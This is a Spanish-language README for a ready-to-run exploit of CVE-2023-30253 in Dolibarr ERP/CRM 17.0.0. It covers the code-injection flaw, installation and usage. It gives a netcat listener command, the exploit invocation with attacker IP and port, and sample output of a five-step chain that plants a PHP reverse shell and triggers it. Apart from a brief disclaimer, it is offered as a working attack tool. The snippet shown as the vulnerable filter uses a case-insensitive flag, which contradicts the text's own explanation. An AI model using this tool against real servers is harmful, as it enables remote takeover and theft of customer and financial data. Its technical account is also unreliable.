CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 Remote Code Execution

Exploit de inyección de código PHP para Dolibarr ERP/CRM v17.0.0 que permite obtener una shell reversa como usuario www-data mediante el módulo Website/CMS.

⚠️ Solo para uso educativo y auditorías con autorización.

---

📑 Índice

• ¿Qué es CVE-2023-30253?
• ¿Cómo funciona la vulnerabilidad?
• Impacto
• ¿Qué hace este exploit?
• Requisitos
• Instalación
• Uso
• Ejemplo práctico
• El exploit paso a paso
• Mitigación
• Referencias

---

🔍 ¿Qué es CVE-2023-30253?

CVE-2023-30253 es una vulnerabilidad de inyección de código PHP (CWE-94: Improper Control of Generation of Code) en Dolibarr ERP/CRM versiones anteriores a 17.0.1.

Fue descubierta y reportada por el equipo de Swascan (ahora Hacktivesecurity) en mayo de 2023. La vulnerabilidad reside en el módulo Website/CMS, que permite a usuarios autenticados crear y gestionar sitios web dentro de Dolibarr.

Campo	Valor
CVE	CVE-2023-30253
CVSS v3.1	8.8 (HIGH)
Vector	AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Tipo	CWE-94 — Code Injection
Software afectado	Dolibarr ERP/CRM < 17.0.1
Privilegios	Usuario autenticado (cualquier rol)
Parche	Dolibarr 17.0.1 — commit 4f6055c

---

⚙️ ¿Cómo funciona la vulnerabilidad?

Dolibarr implementa un filtro para evitar que los usuarios inyecten código PHP en el contenido de las páginas del módulo Website. Sin embargo, este filtro tiene un defecto crítico: es case-sensitive.

// Código vulnerable (simplificado) en Dolibarr 17.0.0
if (preg_match('/<\?php/i', $content)) {
    // Bloquea solo "<?php" en minúsculas exactas... ¿o no?
    die("PHP code detected!");
}

El filtro busca literalmente la cadena <?php en minúsculas. Pero PHP permite cualquier combinación de mayúsculas y minúsculas para la etiqueta de apertura. Esto significa que:

Etiqueta	¿Filtrada?	¿Ejecutada por PHP?
<?php ... ?>	✅	✅
<?PHP ... ?>	❌	✅
<?Php ... ?>	❌	✅
<?pHp ... ?>	❌	✅

El exploit usa <?PHP (en mayúsculas) para bypassear el filtro, pero cualquier variante funciona.

Además, el filtro solo se aplica en el momento de guardar el contenido. Al servir la página, Dolibarr pasa el contenido sin sanitización adicional al intérprete de PHP, que ejecuta cualquier código con la etiqueta de apertura <?.

---

💥 Impacto

Un atacante autenticado puede:

• Ejecución remota de comandos (RCE) en el servidor
• Acceder a la base de datos de Dolibarr (clientes, facturas, usuarios)
• Leer archivos sensibles del sistema (/etc/passwd, configuración)
• Usar el servidor como punto de pivote para ataques internos
• Instalar malware, webshells o backdoors persistentes

¿Por qué es crítico? Dolibarr se usa como ERP/CRM empresarial. Una intrusión puede exponer datos de clientes, finanzas, contratos y credenciales internas.

---

🛠️ ¿Qué hace este exploit?

El exploit automatiza el proceso completo de explotación en 5 pasos:

┌─────────────────────────────────────────────────────────┐
│                   CVE-2023-30253                       │
│                                                         │
│  1. Login          → Autenticarse en Dolibarr           │
│  2. Create Website → Crear un sitio web vacío           │
│  3. Create Page    → Crear una página en el sitio       │
│  4. Inject Shell   → Inyectar PHP reverse shell         │
│  5. Trigger        → Ejecutar el payload                │
│                                                         │
│  Resultado: 🎯 Shell reversa como www-data              │
└─────────────────────────────────────────────────────────┘

Características:

• ✅ Manejo automático de tokens anti-CSRF
• ✅ Sesión persistente con cookies
• ✅ Detección automática del pageid
• ✅ Modo verbose para depuración
• ✅ Salida con colores (desactivables)
• ✅ Payload de reverse shell vía fsockopen + proc_open

---

📋 Requisitos

• Python 3.8+
• requests
• beautifulsoup4

O simplemente:

pip install -r requirements.txt

---

📦 Instalación

# Clonar el repositorio
git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
cd CVE-2023-30253-exploit

# Instalar dependencias
pip install -r requirements.txt

---

🚀 Uso

python exploit.py <target> <username> <password> <lhost> <lport> [opciones]

Argumentos posicionales:

Argumento	Descripción	Ejemplo
target	URL base de Dolibarr	http://crm.board.htb
username	Usuario de Dolibarr	admin
password	Contraseña de Dolibarr	admin
lhost	Tu IP (donde recibirás la shell)	10.10.14.5
lport	Tu puerto (donde recibirás la shell)	4444

Opciones:

Opción	Descripción
-v, --verbose	Muestra información detallada de depuración
--no-color	Desactiva colores en la salida
-h, --help	Muestra la ayuda y ejemplos

---

🎯 Ejemplo práctico

Terminal 1 — Iniciar listener de shell reversa

nc -lvnp 4444

Terminal 2 — Ejecutar exploit

python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose

Salida esperada

════════════════════════════════════════════════════════
 CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
════════════════════════════════════════════════════════

  Target:   http://crm.board.htb
  User:     admin
  LHOST:    10.10.14.5
  LPORT:    4444
  Site ID:  s3a1f2bc

──────────────────────────────────────────────────

[10:45:12] Paso 1/5: Iniciando sesión...
[10:45:12]   ✓ Sesión iniciada correctamente

[10:45:13] Paso 2/5: Creando sitio web...
[10:45:13]   ✓ Sitio web 's3a1f2bc' creado

[10:45:13] Paso 3/5: Creando página en el sitio...
[10:45:13]   ✓ Página creada dentro del sitio

[10:45:14] Paso 4/5: Inyectando reverse shell → 10.10.14.5:4444...
[10:45:14]   ✓ Código PHP inyectado exitosamente

[10:45:14] Paso 5/5: Ejecutando payload (trigger)...

════════════════════════════════════════════════════════
  EXPLOTACIÓN COMPLETADA
════════════════════════════════════════════════════════

  Trigger URL:
  http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc